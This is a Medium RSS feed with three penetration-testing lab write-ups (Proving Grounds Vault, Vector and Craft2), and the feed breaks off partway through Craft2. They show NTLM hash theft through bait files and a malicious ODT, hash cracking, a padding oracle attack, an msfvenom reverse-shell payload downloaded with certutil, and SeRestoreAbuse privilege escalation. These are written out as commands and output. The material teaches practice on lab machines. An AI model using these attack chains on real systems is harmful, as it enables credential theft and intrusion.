<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by TrapTheOnly on Medium]]></title>
        <description><![CDATA[Stories by TrapTheOnly on Medium]]></description>
        <link>https://medium.com/@thetraphacker?source=rss-5f874701a0b4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*73X-qE3i50vfdAudlUFMfg.jpeg</url>
            <title>Stories by TrapTheOnly on Medium</title>
            <link>https://medium.com/@thetraphacker?source=rss-5f874701a0b4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 20:04:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thetraphacker/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Proving Grounds (PG) Vault Writeup]]></title>
            <link>https://medium.com/@thetraphacker/proving-grounds-pg-vault-writeup-a59d52a03f8e?source=rss-5f874701a0b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/a59d52a03f8e</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[TrapTheOnly]]></dc:creator>
            <pubDate>Mon, 24 Jul 2023 13:08:11 GMT</pubDate>
            <atom:updated>2023-07-24T13:08:11.599Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1uArF_VDbmLU-0f9" /><figcaption>Photo by <a href="https://unsplash.com/de/@jasonpofahlphotography?utm_source=medium&amp;utm_medium=referral">Jason Pofahl</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>IP</h3><pre>192.168.169.172</pre><h3>Scans</h3><h3>nmap</h3><pre>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-24 05:53:21Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>~~49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49670/tcp open  msrpc         Microsoft Windows RPC<br>49671/tcp open  msrpc         Microsoft Windows RPC<br>49689/tcp open  msrpc         Microsoft Windows RPC<br>49704/tcp open  msrpc         Microsoft Windows RPC~~<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><h3>Exploit</h3><p>On the host there is a share called DocumentsShare, that is writable:</p><pre>root@kali:/home/kali/offsec/PROCESS# smbclient --no-pass -L //box.os            <br>Sharename       Type      Comment<br>        ---------       ----      -------<br>        ADMIN$          Disk      Remote Admin<br>        C$              Disk      Default share<br>        DocumentsShare  Disk      <br>        IPC$            IPC       Remote IPC<br>        NETLOGON        Disk      Logon server share <br>        SYSVOL          Disk      Logon server share</pre><p>Using ntlm-theft from <a href="https://github.com/Greenwolf/ntlm_theft">GitHub</a> I created multiple files that can trigger NTLM theft. Found this method <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb#ntlm-theft">here</a>:</p><pre>root@kali:/home/kali/offsec/PROCESS/ntlm_theft# python3 ntlm_theft.py -g all -s 192.168.45.164 -f vault<br>Created: vault/vault.scf (BROWSE TO FOLDER)<br>Created: vault/vault-(url).url (BROWSE TO FOLDER)<br>Created: vault/vault-(icon).url (BROWSE TO FOLDER)<br>Created: vault/vault.lnk (BROWSE TO FOLDER)<br>Created: vault/vault.rtf (OPEN)<br>Created: vault/vault-(stylesheet).xml (OPEN)<br>Created: vault/vault-(fulldocx).xml (OPEN)<br>Created: vault/vault.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)<br>Created: vault/vault-(includepicture).docx (OPEN)<br>Created: vault/vault-(remotetemplate).docx (OPEN)<br>Created: vault/vault-(frameset).docx (OPEN)<br>Created: vault/vault-(externalcell).xlsx (OPEN)<br>Created: vault/vault.wax (OPEN)<br>Created: vault/vault.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)<br>Created: vault/vault.asx (OPEN)<br>Created: vault/vault.jnlp (OPEN)<br>Created: vault/vault.application (DOWNLOAD AND OPEN)<br>Created: vault/vault.pdf (OPEN AND ALLOW)<br>Created: vault/zoom-attack-instructions.txt (PASTE TO CHAT)<br>Created: vault/Autorun.inf (BROWSE TO FOLDER)<br>Created: vault/desktop.ini (BROWSE TO FOLDER)<br>Generation Complete.</pre><p>Then using smblient deployed these files to remote share:</p><pre>root@kali:/home/kali/offsec/PROCESS/ntlm_theft# smbclient --no-pass //box.os/DocumentsShare<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \\&gt; recurse<br>smb: \\&gt; prompt<br>smb: \\&gt; mput vault*<br>putting file vault.scf as \\vault.scf (0.3 kb/s) (average 0.3 kb/s)<br>putting file vault-(externalcell).xlsx as \\vault-(externalcell).xlsx (21.3 kb/s) (average 10.8 kb/s)<br>putting file vault-(stylesheet).xml as \\vault-(stylesheet).xml (0.6 kb/s) (average 7.4 kb/s)<br>putting file vault.application as \\vault.application (6.0 kb/s) (average 7.0 kb/s)<br>putting file vault-(remotetemplate).docx as \\vault-(remotetemplate).docx (70.3 kb/s) (average 23.0 kb/s)<br>putting file vault.m3u as \\vault.m3u (0.2 kb/s) (average 19.4 kb/s)<br>putting file vault.lnk as \\vault.lnk (7.9 kb/s) (average 17.8 kb/s)<br>putting file vault.wax as \\vault.wax (0.2 kb/s) (average 15.7 kb/s)<br>putting file vault-(url).url as \\vault-(url).url (0.2 kb/s) (average 14.0 kb/s)<br>putting file vault-(frameset).docx as \\vault-(frameset).docx (36.3 kb/s) (average 16.2 kb/s)<br>putting file vault.jnlp as \\vault.jnlp (0.7 kb/s) (average 14.8 kb/s)<br>putting file vault.htm as \\vault.htm (0.3 kb/s) (average 13.7 kb/s)<br>putting file vault.pdf as \\vault.pdf (2.8 kb/s) (average 12.9 kb/s)<br>putting file vault-(icon).url as \\vault-(icon).url (0.4 kb/s) (average 12.0 kb/s)<br>putting file vault.rtf as \\vault.rtf (0.4 kb/s) (average 11.3 kb/s)<br>putting file vault.asx as \\vault.asx (0.5 kb/s) (average 10.6 kb/s)<br>putting file vault-(includepicture).docx as \\vault-(includepicture).docx (36.6 kb/s) (average 12.1 kb/s)<br>putting file vault-(fulldocx).xml as \\vault-(fulldocx).xml (199.1 kb/s) (average 25.3 kb/s)</pre><p>And started responder to listen on all ports. Immediately we get user’s NTLM hash:</p><pre>root@kali:/home/kali/offsec/PROCESS# responder -I tun0 -vvv<br>                                         __<br>  .----.-----.-----.-----.-----.-----.--|  |.-----.----.<br>  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|<br>  |__| |_____|_____|   __|_____|__|__|_____||_____|__|<br>                   |__|<br><br>NBT-NS, LLMNR &amp; MDNS Responder 3.1.3.0<br>  To support this project:<br>  Patreon -&gt; &lt;https://www.patreon.com/PythonResponder&gt;<br>  Paypal  -&gt; &lt;https://paypal.me/PythonResponder&gt;<br>  Author: Laurent Gaffie (laurent.gaffie@gmail.com)<br>  To kill this script hit CTRL-C<br>...<br>[+] Listening for events...<br>[SMB] NTLMv2-SSP Client   : 192.168.169.172<br>[SMB] NTLMv2-SSP Username : VAULT\\anirudh<br>[SMB] NTLMv2-SSP Hash     : anirudh::VAULT:89ddafaf0c17a6c6:35A855940FC8541A99B5872B5DC03CBF:010...00</pre><h3>Reverse Shell</h3><p>Decrypting NTLM hash using hashcat:</p><pre>root@kali:/home/kali/offsec/PROCESS# hashcat -a 0 -m 5600 anirudh::VAULT:89ddafaf0c17a6c6:35A855940FC8541A99B5872B5DC03CBF:01010000000...0000000000 /usr/share/wordlists/rockyou.txt <br>hashcat (v6.2.6) starting<br><br>...<br>ANIRUDH::VAULT:89ddafaf0c17a6c6:35a855940fc8541a99b5872b5dc03cbf:0101...000:SecureHM<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 5600 (NetNTLMv2)<br>Hash.Target......: ANIRUDH::VAULT:89ddafaf0c17a6c6:35a855940fc8541a99b...000000<br>Time.Started.....: Mon Jul 24 11:01:13 2023 (4 secs)<br>Time.Estimated...: Mon Jul 24 11:01:17 2023 (0 secs)<br>Kernel.Feature...: Pure Kernel<br>Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)<br>Guess.Queue......: 1/1 (100.00%)<br>Speed.#1.........:  2442.4 kH/s (0.91ms) @ Accel:512 Loops:1 Thr:1 Vec:4<br>Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)<br>Progress.........: 10610688/14344385 (73.97%)<br>Rejected.........: 0/10610688 (0.00%)<br>Restore.Point....: 10607616/14344385 (73.95%)<br>Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1<br>Candidate.Engine.: Device Generator<br>Candidates.#1....: Serindipitty1 -&gt; Schwangerschaft1<br>Started: Mon Jul 24 11:01:11 2023<br>Stopped: Mon Jul 24 11:01:19 2023</pre><p>Password is SecureHM. Getting reverse connection via evil-winrm:</p><pre>root@kali:/home/kali/offsec/PROCESS# evil-winrm -i box.os -u anirudh -p SecureHM<br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: &lt;https://github.com/Hackplayers/evil-winrm#Remote-path-completion&gt;<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\\Users\\anirudh\\Documents&gt; whoami<br>vault\\anirudh</pre><p>And getting first flag:</p><pre>*Evil-WinRM* PS C:\\Users\\anirudh\\Documents&gt; cat C:\\Users\\anirudh\\Desktop\\local.txt<br>FIRST_FLAG</pre><h3>Privilege Escalation</h3><p>Using WinPEAS we find that there is a scheduled application running from our user’s home directory:</p><pre>Scheduled Applications --Non Microsoft--<br> =================================================================================================<br>(VAULT\\anirudh) Killexplorer: powershell.exe C:\\Users\\anirudh\\KillExplorer.ps1<br>    Permissions file: anirudh [AllAccess]<br>    Permissions folder(DLL Hijacking): anirudh [AllAccess]<br>    Trigger: At 1:05 AM on 11/19/2021-After triggered, repeat every 00:05:00 indefinitely.</pre><p>Checking the script:</p><pre>*Evil-WinRM* PS C:\\Users\\anirudh&gt; cat KillExplorer.ps1<br>$shell=New-Object -ComObject Shell.Application<br>$window = $shell.Windows() | Where-Object { $_.LocationURL -like &quot;$(([uri]&quot;C:\\DocumentsShare&quot;).AbsoluteUri)*&quot; }<br>$window | ForEach-Object { $_.Quit() }</pre><p>Does not work for us, as the owner is our user. Looking further, we find that our user has “SeRestorePrivilege” privilege:</p><pre>*Evil-WinRM* PS C:\\Users\\anirudh\\Documents&gt; whoami /priv<br>PRIVILEGES INFORMATION<br>----------------------<br>Privilege Name                Description                         State<br>============================= =================================== =======<br>SeMachineAccountPrivilege     Add workstations to domain          Enabled<br>SeSystemtimePrivilege         Change the system time              Enabled<br>SeBackupPrivilege             Back up files and directories       Enabled<br>SeRestorePrivilege            Restore files and directories       Enabled<br>SeShutdownPrivilege           Shut down the system                Enabled<br>SeChangeNotifyPrivilege       Bypass traverse checking            Enabled<br>SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled<br>SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled<br>SeTimeZonePrivilege           Change the time zone                Enabled</pre><p>We can exploit this privilege using an exploit from <a href="https://github.com/xct/SeRestoreAbuse">GitHub</a>. First, we have to build exploit in Visual Studio on Windows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t2zH0Bo1cFyq-WptySd-tw.png" /></figure><p>Sending this file to remote host, as well as a reverse shell payload generated via msfconsole and executing the exploit:</p><pre>root@kali:/home/kali/offsec/PROCESS# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.164 LPORT=80 -f exe -o reverse.exe<br>[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload<br>[-] No arch selected, selecting arch: x64 from the payload<br>No encoder specified, outputting raw payload<br>Payload size: 460 bytes<br>Final size of exe file: 7168 bytes<br>Saved as: reverse.exe</pre><p>Downloading and executing:</p><pre>*Evil-WinRM* PS C:\\Users\\anirudh\\Documents&gt; certutil -urlcache -split -f &lt;http://192.168.45.164/reverse.exe&gt; ./reverse.exe<br>****  Online  ****<br>  0000  ...<br>  1c00<br>CertUtil: -URLCache command completed successfully.<br>*Evil-WinRM* PS C:\\Users\\anirudh\\Documents&gt; mkdir C:\\Temp<br>Directory: C:\\<br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>d-----        7/24/2023   5:42 AM                Temp<br>*Evil-WinRM* PS C:\\Users\\anirudh\\Documents&gt; mv reverse.exe C:\\Temp<br>*Evil-WinRM* PS C:\\Users\\anirudh\\Documents&gt; ./SeRestoreAbuse.exe &quot;C:\\Temp\\reverse.exe&quot;<br>RegCreateKeyExA result: 0<br>RegSetValueExA result: 0</pre><p>Getting reverse shell:</p><pre>root@kali:/home/kali/offsec/PROCESS# rlwrap nc -lvnp 80<br>listening on [any] 80 ...<br>connect to [192.168.45.164] from (UNKNOWN) [192.168.169.172] 51191<br>Microsoft Windows [Version 10.0.17763.2300]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br>C:\\Windows\\system32&gt;whoami<br>whoami<br>nt authority\\system</pre><p>Getting second flag:</p><pre>C:\\Windows\\system32&gt;type C:\\Users\\Administrator\\Desktop\\proof.txt<br>type C:\\Users\\Administrator\\Desktop\\proof.txt<br>SECOND_FLAG</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a59d52a03f8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds (PG) Vector Writeup]]></title>
            <link>https://medium.com/@thetraphacker/proving-grounds-pg-vector-writeup-c5b09b8ddd29?source=rss-5f874701a0b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5b09b8ddd29</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[TrapTheOnly]]></dc:creator>
            <pubDate>Sun, 23 Jul 2023 18:05:36 GMT</pubDate>
            <atom:updated>2023-07-23T18:05:36.929Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*krx6yW32Mbal5Hsf.jpg" /></figure><h3>IP</h3><pre>192.168.232.119</pre><h3>Scans</h3><h3>nmap</h3><pre>PORT     STATE SERVICE       VERSION<br>21/tcp   open  ftp           Microsoft ftpd<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>~~139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn~~<br>~~445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 2012 microsoft-ds~~<br>2290/tcp open  http          Microsoft IIS httpd 10.0<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows</pre><h3>Exploit</h3><p>On port 2290 there is a web app that on initial says that it requires some parameter ‘c’:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*-hYIm8MLj4zmxgALrxCswg.png" /></figure><p>Giving it this parameter results with a 0:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*ZL4D9F0yJgGNfedHZ27Nsw.png" /></figure><p>But checking the source code shows that there is an AES-256-CBC-PKCS7 ciphertext that is used for the authentication:</p><pre>&lt;head&gt;&lt;/head&gt;&lt;body&gt;&lt;form method=&quot;post&quot; action=&quot;./?c=123123&quot; id=&quot;MyForm&quot;&gt;<br>&lt;div class=&quot;aspNetHidden&quot;&gt;<br>&lt;input type=&quot;hidden&quot; name=&quot;__VIEWSTATE&quot; id=&quot;__VIEWSTATE&quot; value=&quot;/wEPDwUJMjI5MTY0MjY4D2QWAmYPZBYCAgEPDxYCHgRUZXh0BQEwZGRkIukfepzJl/4svURp/06bcRn15ZK2Pnekpudd6Yu6sNk=&quot;&gt;<br>&lt;/div&gt;</pre><pre>&lt;div class=&quot;aspNetHidden&quot;&gt;</pre><pre>	&lt;input type=&quot;hidden&quot; name=&quot;__VIEWSTATEGENERATOR&quot; id=&quot;__VIEWSTATEGENERATOR&quot; value=&quot;CA0B0334&quot;&gt;<br>&lt;/div&gt;<br>	&lt;span id=&quot;MyLabel&quot;&gt;0&lt;/span&gt;<br>	&lt;!--<br>		AES-256-CBC-PKCS7 ciphertext: 4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488<br>		<br>		Victor&#39;s TODO: Need to add authentication eventually..<br>	--&gt;<br>&lt;/form&gt;&lt;/body&gt;</pre><p>Googling AES-256 exploit ASP.NET shows that this ciphertext is vulnerable to <a href="https://pulsesecurity.co.nz/articles/dotnet-padding-oracles">Oracle Padding Attack</a>. There is a good exploit for this vulnerability on <a href="https://github.com/mpgn/Padding-oracle-attack">GitHub</a>. Using this exploit to get plaintext:</p><pre>root@kali:/home/kali/offsec/PROCESS/Padding-oracle-attack# python exploit.py -c 4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488 -l 16 --host box.os:2290 -u /?c= -v --error &#39;&lt;span id=&quot;MyLabel&quot;&gt;0&lt;/span&gt;&#39;<br>[+] Search value block :  1 <br>[+] Test [Byte 004/256 - Block 1 ]: 4358B2F77165B5130E323F067AB6C8AC<br>[+] HTTP  200 OK<br>[+] Block M_Byte : 00000000000000000000000000000004<br>[+] Block C_{i-1}: 4358B2F77165B5130E323F067AB6C8A9<br>[+] Block Padding: 00000000000000000000000000000001<br>[+] Found 1 bytes : 04<br>[+] Test [Byte 004/256 - Block 1 ]: 4358B2F77165B5130E323F067AB6CEAF<br>[+] HTTP  200 OK<br>[+] Block M_Byte : 00000000000000000000000000000404<br>[+] Block C_{i-1}: 4358B2F77165B5130E323F067AB6C8A9<br>[+] Block Padding: 00000000000000000000000000000202<br>[+] Found 2 bytes : 0404<br>...<br>[+] Found 15 bytes : 6f726d416c6f655661743704040404<br>[+] Test [Byte 087/256 - Block 1 ]: 0427D08A2019CA6648435B216EA2DCBD<br>[+] HTTP  200 OK<br>[+] Block M_Byte : 576f726d416c6f655661743704040404<br>[+] Block C_{i-1}: 4358B2F77165B5130E323F067AB6C8A9<br>[+] Block Padding: 10101010101010101010101010101010<br>[+] Found 16 bytes : 576f726d416c6f655661743704040404<br>[+] Decrypted value (HEX): 576F726D416C6F655661743704040404<br>[+] Decrypted value (ASCII): WormAloeVat7</pre><h3>Reverse Shell</h3><p>We get a password “WormAloeVat7”. Trying RDP connection to this host succeeds:</p><pre>root@kali:/home/kali/offsec/PROCESS# xfreerdp /v:box.os:3389 /u:victor /p:WormAloeVat7</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*swk1aG4kCbjkNfNI-WV0fQ.png" /></figure><p>Getting the first flag:</p><pre>C:\\Users\\victor&gt;type .\\Desktop\\local.txt<br>FIRST_FLAG</pre><h3>Privilege Escalation</h3><p>Dropping in WinPEAS and running it:</p><pre>PS C:\\Users\\victor&gt; (new-object System.Net.WebClient).DownloadFile(&#39;&lt;http://192.168.45.168/winPEASany_ofs.exe&gt;&#39;, &#39;.\\Desktop\\winPEASany_ofs.exe&#39;)</pre><p>In victor’s downloads folder I found an interesting file called backup.rar:</p><pre>C:\\Users\\victor\\Downloads&gt;dir<br> Volume in drive C has no label.<br> Volume Serial Number is 7ADA-B29F<br><br>Directory of C:\\Users\\victor\\Downloads<br>12/03/2020  06:47 AM    &lt;DIR&gt;          .<br>12/03/2020  06:47 AM    &lt;DIR&gt;          ..<br>07/21/2020  09:59 AM               286 backup.rar<br>               1 File(s)            286 bytes<br>               2 Dir(s)  12,833,554,432 bytes free</pre><p>Sending this file to my local file system using an SMB share. First starting SMB service on Kali. Then mounting this share on Windows and copying file:</p><pre>PS C:\\Users\\victor\\Downloads&gt; New-SmbMapping -RemotePath &#39;\\\\192.168.45.168\\offsec&#39; -Username &quot;kali&quot; -Password &quot;toor&quot; -LocalPath &#39;F:&#39;<br><br>Status Local Path Remote Path<br>------ ---------- -----------<br>OK     F:         \\\\192.168.45.168\\offsec<br>PS C:\\Users\\victor\\Downloads&gt; cd F:<br>PS F:\\&gt; cp C:\\Users\\victor\\Downloads\\backup.rar ./</pre><p>Extracting the file on Kali requires password, but using victor’s password succeeds:</p><pre>root@kali:/home/kali/offsec/PROCESS# unrar e ./backup.rar<br>UNRAR 6.22 freeware      Copyright (c) 1993-2023 Alexander Roshal<br>Enter password (will not be echoed) for ./backup.rar: <br>Extracting from ./backup.rar<br>Extracting  backup.txt                                                OK <br>All OK</pre><p>Reading backup.txt shows that this is a Base64 encoded text:</p><pre>root@kali:/home/kali/offsec/PROCESS# cat backup.txt <br>QWRtaW5pc3RyYXRvcjpFdmVyeXdheUxhYmVsV3JhcDM3NQ==</pre><p>Decoding it reveals the Administrator password:</p><pre>root@kali:/home/kali/offsec/PROCESS# cat backup.txt | base64 -d<br>Administrator:EverywayLabelWrap375</pre><p>Using these credentials to open admin cmd on the device:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-n6tiXHmRDhqUggkPZYGg.png" /></figure><p>And finally getting second flag:</p><pre>Microsoft Windows [Version 10.0.17763.1339]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br><br>C:\\Windows\\system32&gt;whoami<br>vector\\administrator<br>C:\\Windows\\system32&gt;type C:\\Users\\Administrator\\Desktop\\proof.txt<br>SECOND_FLAG</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5b09b8ddd29" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds (PG) Craft2 Writeup]]></title>
            <link>https://medium.com/@thetraphacker/proving-grounds-pg-craft2-writeup-77c5e7033a19?source=rss-5f874701a0b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/77c5e7033a19</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[TrapTheOnly]]></dc:creator>
            <pubDate>Sun, 02 Jul 2023 18:39:22 GMT</pubDate>
            <atom:updated>2023-07-02T18:39:22.567Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TXQVj_z65ZXfRjNv" /><figcaption>Photo by <a href="https://unsplash.com/@markuswinkler?utm_source=medium&amp;utm_medium=referral">Markus Winkler</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>IP</h3><pre>192.168.230.188</pre><h3>Scans</h3><h3>nmap</h3><pre>PORT      STATE SERVICE       VERSION<br>80/tcp    open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>445/tcp   open  microsoft-ds?<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><h3>Exploit</h3><p>On port 80 there is a website that has a file upload feature:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*70VpjsSosUcqKzdvi8fygw.png" /></figure><p>It allows only ODT file extensions to be uploaded. Trying with macros does not work, as this version of the box (as opposed to regular Craft) is secure from macros. Nevertheless, there is another exploit available for ODT files (<a href="https://www.exploit-db.com/exploits/44564">EDB</a>). By using this exploit it possible to gather NTLM hash of the user that opens the ODT file. To do so, we first generate bad ODT file:</p><pre>root@kali:/home/kali/offsec/PROCESS# python2 44564.py<br>____            __      ____  ____  ______<br>   / __ )____ _____/ /     / __ \\/ __ \\/ ____/<br>  / __  / __ `/ __  /_____/ / / / / / / /_<br> / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/<br>/_____/\\__,_/\\__,_/      \\____/_____/_/<br>Create a malicious ODF document help leak NetNTLM Creds<br>By Richard Davy <br>@rd_pentest<br>www.secureyourit.co.uk<br>Please enter IP of listener: 192.168.45.207</pre><p>Then start a responder on tun0 interface and upload the file. After a little pause we get the results:</p><pre>root@kali:/home/kali/offsec/PROCESS# responder -I tun0 -v<br>                                         __<br>  .----.-----.-----.-----.-----.-----.--|  |.-----.----.<br>  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|<br>  |__| |_____|_____|   __|_____|__|__|_____||_____|__|<br>                   |__|<br><br>NBT-NS, LLMNR &amp; MDNS Responder 3.1.3.0<br>  To support this project:<br>  Patreon -&gt; &lt;https://www.patreon.com/PythonResponder&gt;<br>  Paypal  -&gt; &lt;https://paypal.me/PythonResponder&gt;<br>  Author: Laurent Gaffie (laurent.gaffie@gmail.com)<br>  To kill this script hit CTRL-C<br>[+] Poisoners:<br>    LLMNR                      [ON]<br>    NBT-NS                     [ON]<br>    MDNS                       [ON]<br>    DNS                        [ON]<br>    DHCP                       [OFF]<br>[+] Servers:<br>    HTTP server                [ON]<br>    HTTPS server               [ON]<br>    WPAD proxy                 [OFF]<br>    Auth proxy                 [OFF]<br>    SMB server                 [ON]<br>    Kerberos server            [ON]<br>    SQL server                 [ON]<br>    FTP server                 [ON]<br>    IMAP server                [ON]<br>    POP3 server                [ON]<br>    SMTP server                [ON]<br>    DNS server                 [ON]<br>    LDAP server                [ON]<br>    RDP server                 [ON]<br>    DCE-RPC server             [ON]<br>    WinRM server               [ON]<br>[+] HTTP Options:<br>    Always serving EXE         [OFF]<br>    Serving EXE                [OFF]<br>    Serving HTML               [OFF]<br>    Upstream Proxy             [OFF]<br>[+] Poisoning Options:<br>    Analyze Mode               [OFF]<br>    Force WPAD auth            [OFF]<br>    Force Basic Auth           [OFF]<br>    Force LM downgrade         [OFF]<br>    Force ESS downgrade        [OFF]<br>[+] Generic Options:<br>    Responder NIC              [tun0]<br>    Responder IP               [192.168.45.207]<br>    Responder IPv6             [fe80::9f03:4a5:82ea:4a1f]<br>    Challenge set              [random]<br>    Dont Respond To Names     [&#39;ISATAP&#39;]<br>[+] Current Session Variables:<br>    Responder Machine Name     [WIN-ZG9ZJL5XRAR]<br>    Responder Domain Name      [Z861.LOCAL]<br>    Responder DCE-RPC Port     [45812]<br>[+] Listening for events...<br>[!] Error starting TCP server on port 25, check permissions or other servers running.<br>[!] Error starting TCP server on port 53, check permissions or other servers running.<br>[SMB] NTLMv2-SSP Client   : 192.168.230.188<br>[SMB] NTLMv2-SSP Username : CRAFT2\\thecybergeek<br>[SMB] NTLMv2-SSP Hash     : thecybergeek::CRAFT2:8f36fb8cf6c71147:3B4BA823C10080345F87867EE3F98F73:01010000000000008023E550C1ACD901BCC138AB1A330FC400000000020008005A0038003600310001001E00570049004E002D005A00470039005A004A004C003500580052004100520004003400570049004E002D005A00470039005A004A004C00350058005200410052002E005A003800360031002E004C004F00430041004C00030014005A003800360031002E004C004F00430041004C00050014005A003800360031002E004C004F00430041004C00070008008023E550C1ACD9010600040002000000080030003000000000000000000000000030000052A5C1E9B4FDE0905ADE5129FBDE979269F1B26EC0B32129BA8F09B6346D35B20A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00340035002E003200300037000000000000000000<br>[+] Exiting...</pre><h3>Reverse Shell</h3><p>Decrypting the NTLM hash can be done with hashcat:</p><pre>&gt; hashcat --status -w 4 -a 0 thecybergeek::CRAFT2:8f36fb8cf6c71147:3B4BA...000 .\\rockyou.txt -m 5600<br>hashcat (v6.2.6) starting<br>...<br>THECYBERGEEK::CRAFT2:8f36fb8cf6c71147:3B4BA...000:winniethepooh<br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 5600 (NetNTLMv2)<br>Hash.Target......: THECYBERGEEK::CRAFT2:8f36fb8cf6c71147:3b4ba823c1008...000000<br>Time.Started.....: Sun Jul 02 17:20:16 2023 (1 sec)<br>Time.Estimated...: Sun Jul 02 17:20:17 2023 (0 secs)<br>Kernel.Feature...: Pure 